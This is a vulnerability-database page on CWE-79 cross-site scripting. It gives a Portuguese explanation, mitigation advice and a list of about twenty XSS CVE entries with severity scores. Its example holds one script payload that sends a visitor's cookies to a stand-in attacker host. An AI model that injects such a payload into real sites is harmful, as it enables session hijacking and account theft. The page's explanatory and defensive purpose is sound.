Fallos del tipo CWE-79

30.248 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-26281MEDIUMUpon scanning a JavaScript URI with the QR code scanner, an attacker could have executed unauthorized scripts on the current top origin siteEPSS 0.3%CVE-2025-1703MEDIUMUltimate Blocks <= 3.2.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via content ParameterEPSS 0.3%CVE-2024-2130MEDIUMCWW Companion <= 1.2.7 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-3570NONEStored XSS leading to Admin Account Takeover in mintplex-labs/anything-llmEPSS 0.3%CVE-2025-57764MEDIUMWeGIA Cross-Site Scripting (XSS) Reflected endpoint 'cargos.php' parameter 'msg_e'EPSS 0.3%CVE-2024-36219MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-36221MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-45388MEDIUMWagtail CMS 6.4.1 is vulnerable to a Stored Cross-Site Scripting (XSS) in the document upload functionality. Attackers can inject malicious EPSS 0.3%CVE-2024-44043MEDIUMWordPress Photo Gallery by 10Web plugin <= 1.8.27 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-3389MEDIUMhailey888 oa_system Backend InformManageController.java testMess cross site scriptingEPSS 0.3%CVE-2026-50771MEDIUMCross Site Scripting vulnerability in Squirro Cognitive Search < 3.14.2 allows a remote attacker to execute arbtirary code via the Email NotEPSS 0.3%CVE-2025-5974MEDIUMPHPGurukul Restaurant Table Booking System check-status.php cross site scriptingEPSS 0.3%CVE-2024-37549MEDIUMWordPress Save as PDF plugin by Pdfcrowd plugin <= 4.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-52609MEDIUMA reflected cross-site scripting (XSS) vulnerability in reportico-web <= 8.1.0 allows remote attackers to execute arbitrary JavaScript in thEPSS 0.3%CVE-2024-36227MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2024-38834MEDIUMStored cross-site scripting vulnerability (CVE-2024-38834)EPSS 0.3%CVE-2024-13033MEDIUMcode-projects Chat System chatroom.php cross site scriptingEPSS 0.3%CVE-2025-23882HIGHWordPress WP Download Codes Plugin <= 2.5.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-36229MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2021-3030MEDIUMCute Editor for ASP.NET 6.4 is vulnerable to reflected cross-site scripting caused by improper validation of the Theme GET parameter in coloEPSS 0.3%